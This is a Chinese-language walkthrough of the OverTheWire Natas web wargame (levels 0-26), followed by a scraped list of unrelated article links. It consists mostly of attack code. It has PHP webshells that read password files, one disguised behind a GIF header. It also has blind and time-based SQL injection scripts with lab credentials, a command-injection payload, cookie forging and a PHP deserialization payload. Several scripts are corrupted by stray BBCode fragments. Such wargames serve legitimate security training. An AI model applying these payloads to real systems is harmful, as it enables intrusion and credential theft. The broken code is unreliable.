web安全Wargame—Natas解题思路(1-26)
前言:
接下来给大家分享一下,1-20题的WriteUp。
Natas0:
Natas1:
Natas2:
Natas3:
Natas4:
Natas5:
Natas6:
Natas7:
Natas8:
Natas9:
Natas10:
Natas11:
01
02
03
04
05
06
07
08
09
10
|
function xor_encrypt( $in ){ $key = '<censored>' ; #预定义参数key $text = $in ; #输入参数 $outText = '' ; #输出参数 // Iterate through each character for ( $i =0; $i < strlen ( $text ); $i ++) { # for 循环,遍历输入参数 $outText .= $text [ $i ] ^ $key [ $i % strlen ( $key )]; #将输入参数对应位和key对应位异或,key位数不够则从头循环,结果存到输出参数 } return $outText ; #返回加密结果 } |
01
02
03
04
05
06
07
08
09
10
11
12
13
|
<?php $defaultdata = array ( "showpassword" => "no" , "bgcolor" => "#ffffff" ); $data = 'ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw' ; function xor_encrypt( $in , $out ) { $key = '' ; $text = $in ; for ( $i =0; $i < strlen ( $text ); $i ++) { $key .= $text [ $i ] ^ $out [ $i ]; } return $key ; } echo xor_encrypt(json_encode( $defaultdata ), base64_decode ( $data )); ?> |
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
|
<?php $defaultdata = array ( "showpassword" => "yes" , "bgcolor" => "#ffffff" ); function xor_encrypt( $in ) { $key = 'qw8J' ; $text = $in ; $outText = '' ; // Iterate through each character for ( $i =0; $i < strlen ( $text ); $i ++) { $outText .= $text [ $i ] ^ $key [ $i % strlen ( $key )]; } return $outText ; } echo base64_encode (xor_encrypt(json_encode( $defaultdata ))); ?> |
Natas12:
1
2
3
|
<?php system( 'cat /etc/natas_webpass/natas13' ); ?> |
Natas13:
1
2
3
4
5
|
GIF89a <?php system( 'cat /etc/natas_webpass/natas14' ); ?> |
Natas14:
Natsa15:
1
|
$query = "SELECT * from users where username=\"" . $_REQUEST [ "username" ]. "\"" ; |
1
2
3
4
|
CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL ); |
1
|
'username' : 'natas16" AND password LIKE binary "%s"%字符' |
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
|
import requests url = "http://natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J@natas15.natas.labs.overthewire.org/index.php" chr = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz" payload = r 'natas16" AND password LIKE binary "%s" #' #使用like模糊查询不会区分大小写,要带上binary。 key = "%" while len (key) < = 32 : #循环32次 for i in chr : #确定字符 a = key[: - 1 ] + i + key[ - 1 :] print a req = requests.post(url = url,data = { 'username' :payload % a}) if "This user exists" in req.text: key = a print key print key #输出key |
1
|
passthru ( "grep -i \"$key\" dictionary.txt" ); |
1
|
passthru ( "grep-i " ( $grep ^a etc/natas_webpasswd/natas17)wrong \ " dictionary.txt" ); |
01
02
03
04
05
06
07
08
09
10
11
|
import requests key = '' char = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' [ / color][ / font][ / align][align = left][font = 宋体][color = Black] [ / color][ / font][ / align][align = left][font = 宋体][color = Black] while len (key) < 32 : for i in range ( len (char)): payload = { 'needle' : '$(grep ^' + key + char + '.* /etc/natas_webpass/natas17)wrong' , 'submit' : 'Search' } req = requests.get(url = url,params = payload) if 'wrong' not in req.text: key + = char print key |
Natas17:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
|
import requests [ / color] [color = Black] url = 'http://natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw@natas17.natas.labs.overthewire.org/index.php' key = '' for i in range ( 1 , 33 ): a = 32 c = 126 while a<c: b = (a + c) / 2 payload = r 'natas18" and if(%d<ascii(mid(password,%d,1)),sleep(2),1) and "" like "' % (b,i) try : req = requests.post(url = url,data = { "username" :payload},timeout = 2 ) except requests.exceptions.Timeout,e: a = b + 1 b = (a + c) / 2 continue c = b key + = chr (b) print key |
Natas18:




Natas19:
1
2
3
4
5
6
7
|
a = [] for i in range ( 30 , 40 ): for j in range ( 30 , 40 ): a.append( '%d%d' % (i,j)) with open ( "1.txt" , "w" )as f: for i in a: f.write(i + "\n" ) |
Natas20:
1
2
3
4
5
|
查看第一个网页源码,发现主要功能就是判断session[admin]=1后显示密码; if ( $_SESSION and array_key_exists ( "admin" , $_SESSION ) and $_SESSION [ "admin" ] == 1) { print "You are an admin. The credentials for the next level are:<br>" ; print "<pre>Username: natas22\n" ; print "Password: <censored></pre>" ; |
print "Password: <censored></pre>";[/mw_shl_code]
1
2
3
4
5
6
|
// if update was submitted, store it if ( array_key_exists ( "submit" , $_REQUEST )) { foreach ( $_REQUEST as $key => $val ) { $_SESSION [ $key ] = $val ; } } |
Natas22:
1
2
3
4
5
|
if ( array_key_exists ( "revelio" , $_GET )) { // only admins can reveal the password if (!( $_SESSION and array_key_exists ( "admin" , $_SESSION ) and $_SESSION [ "admin" ] == 1)) { header( "Location: /" ); } |
1
2
3
4
5
6
|
// if update was submitted, store it if ( array_key_exists ( "submit" , $_REQUEST )) { foreach ( $_REQUEST as $key => $val ) { $_SESSION [ $key ] = $val ; } } |
1
2
3
4
5
6
7
8
|
if ( array_key_exists ( "passwd" , $_REQUEST )){ if ( strstr ( $_REQUEST [ "passwd" ], "iloveyou" ) && ( $_REQUEST [ "passwd" ] > 10 )){ echo "<br>The credentials for the next level are:<br>" ; echo "<pre>Username: natas24 Password: <censored></pre>" ; } else { echo "<br>Wrong!<br>" ; } |
Natas24:
01
02
03
04
05
06
07
08
09
10
|
< ?php if ( array_key_exists ( "passwd" , $_REQUEST ) ) { if ( !strcmp ( $_REQUEST[ "passwd" ] , "<censored>" ) ) { echo "<br>The credentials for the next level are:<br>" ; echo "<pre>Username: natas25 Password: <censored></pre>" ; } else { echo "<br>Wrong!<br>" ; } } |
Natas25:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
function setLanguage(){ #选择语言 /* language setup */ if ( array_key_exists ( "lang" , $_REQUEST )) if (safeinclude( "language/" . $_REQUEST [ "lang" ] ))#检查输入 return 1; safeinclude( "language/en" ); } function safeinclude( $filename ){ #检查输入参数 // check for directory traversal if ( strstr ( $filename , "../" )){ #禁止目录遍历 logRequest( "Directory traversal attempt! fixing request." ); $filename = str_replace ( "../" , "" , $filename ); } // dont let ppl steal our passwords if ( strstr ( $filename , "natas_webpass" )){ #文件访问控制 logRequest( "Illegal file access detected! Aborting!" ); exit (-1); } // add more checks... if ( file_exists ( $filename )) { #检测目录是否存在 include ( $filename ); return 1; } return 0; } function logRequest( $message ){ #请求日志 $log = "[" . date ( "d.m.Y H::i:s" ,time()) . "]" ; #时间日期 $log = $log . " " . $_SERVER [ 'HTTP_USER_AGENT' ];#加http_user_agent $log = $log . " \"" . $message . "\"\n" ; #加上message $fd = fopen ( "/var/www/natas/natas25/logs/natas25_" . session_id() . ".log" , "a" ); #将日志信息写入文件 fwrite( $fd , $log ); fclose( $fd ); } |
Natas26:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
class Logger{ private $logFile ; #三个私有参数 private $initMsg ; private $exitMsg ; function __construct( $file ){ #类创建时调用 // initialise variables #初始化变量 $this ->initMsg= "#--session started--#\n" ; $this ->exitMsg= "#--session end--#\n" ; $this ->logFile = "/tmp/natas26_" . $file . ".log" ; // write initial message #写入初始信息 $fd = fopen ( $this ->logFile, "a+" ); fwrite( $fd , $initMsg ); fclose( $fd ); } function log( $msg ){ #写入信息 $fd = fopen ( $this ->logFile, "a+" ); fwrite( $fd , $msg . "\n" ); fclose( $fd ); } function __destruct(){ #类销毁时调用 // write exit message #写入退出信息 $fd = fopen ( $this ->logFile, "a+" ); fwrite( $fd , $this ->exitMsg); fclose( $fd ); } } |
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
|
<?php class Logger{ private $logFile ; private $initMsg ; private $exitMsg ; function __construct(){ #注入信息 $this ->initMsg= "" ; $this ->exitMsg= "<?echo include '/etc/natas_webpass/natas27';?>" ; $this ->logFile= "img/aaa.php" ; } } $test = new Logger(); echo serialize( $test ); echo "\n" ; echo base64_encode (serialize( $test )); #显示base64编码后的序列化字符串 ?> |
END~
大家有任何问题可以提问,更多文章可到i春秋论坛阅读哟~
web安全Wargame—Natas解题思路(1-26)的更多相关文章
- 阿里聚安全攻防挑战赛第三题Android PwnMe解题思路
阿里聚安全攻防挑战赛第三题Android PwnMe解题思路 大家在聚安全挑战赛正式赛第三题中,遇到android app 远程控制的题目.我们今天带你一探究竟,如何攻破这道题目. 一.题目 购物应用 ...
- leetcode array解题思路
Array *532. K-diff Pairs in an Array 方案一:暴力搜索, N平方的时间复杂度,空间复杂度N 数组长度为10000,使用O(N平方)的解法担心TLE,不建议使用,尽管 ...
- MySQL-注释-Navicat基本使用-复杂查询练习题-解题思路-pymysql操作数据库-SQL注入-05
目录 mysql语句注释 navicat 的基本使用 特色(个人总结) 与数据服务器建立连接 创建&打开数据库.表 创建 打开 修改操作表结构 修改表结构 查询修改操作表数据 基本语句对应的操 ...
- 记一次CTF比赛过程与解题思路-MISC部分
前言 最近好久没更新博客和公众号了,有朋友问是不是在憋大招,但我不好意思说其实是因为最近一段时间太懒了,一直在当咸鱼- 意识到很久没更新这个问题,我是想写点什么的,但好像一直当咸鱼也没啥可分享的,最近 ...
- n皇后2种解题思路与代码-Java与C++实现
林炳文Evankaka原创作品.转载请注明出处http://blog.csdn.net/evankaka 摘要:本文主要讲了n皇后问题的解题思路,并分别用java和c++实现了过程,最后,对于算法改进 ...
- [LeetCode] 16. 3Sum Closest 解题思路
Given an array S of n integers, find three integers in S such that the sum is closest to a given num ...
- [LeetCode] 234. Palindrome Linked List 解题思路
Given a singly linked list, determine if it is a palindrome. Follow up:Could you do it in O(n) time ...
- [LeetCode] 76. Minimum Window Substring 解题思路
Given a string S and a string T, find the minimum window in S which will contain all the characters ...
- [LeetCode] 3Sum 解题思路
Given an array S of n integers, are there elements a, b, c in S such that a + b + c = 0? Find all un ...
随机推荐
- django执行原生sql
一.ORM row()方法:只能实现查询 d_list = models.Article.objects.raw( 'select nid, count(nid) as num,strftime(&q ...
- windows下Docker的安装
Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化.容器是完全使用沙箱机制,相互之间不会有任何 ...
- mRNA文库构建
mRNA文库构建 Posted: 三月 27, 2017 Under: Transcriptomics By Kai no Comments RNA-seq测序方法 在测mRNA过程中,首先要去 ...
- Django ORM 常用字段和参数
Django ORM 常用字段和参数 一:常用字段 AutoField int自增列,必须填入参数 primary_key=True.当model中如果没有自增列,则自动会创建一个列名为id的列. I ...
- ----Arrow functions----
Arrow functions Arrow functions表达式相比函数表达式有更短的语法,没有自己的this.argument.super或者new.target. 1.语法规则: 基础语法: ...
- 虚方法(virtual)和抽象方法(abstract)的和接口(interface)的区别
虚方法(virtual)和抽象方法(abstract)的区别 2017年06月15日 13:41:26 阅读数:65 注:本文转载自 http://www.cnblogs.com/michaelxu/ ...
- The First Day Of Cnblogs
The fear of the LORD is the beginning of wisdom,and knowledge of the Holy One is understanding. ——Pr ...
- 第六周助教工作总结——NWNU李泓毅
本周应批改作业23份,实际批改作业23份. 本周作业要求:https://www.cnblogs.com/nwnu-daizh/p/10569690.html 本周存在的问题: 一.github迭代过 ...
- javafx安装
可在官网http://efxclipse.bestsolution.at/ 下载 其中http://efxclipse.bestsolution.at/install.html#all-in-one ...
- KIDS采购销售管理系统
{KIDS采购销售管理系统} 软件项目总结报告 编号:-{kpss}-CLOSUREREPORT 版本:1.0 变更记录 1 项目信息 2 项目说明 [本项目主要用于母婴店人事管理,采购管理,商品管理 ...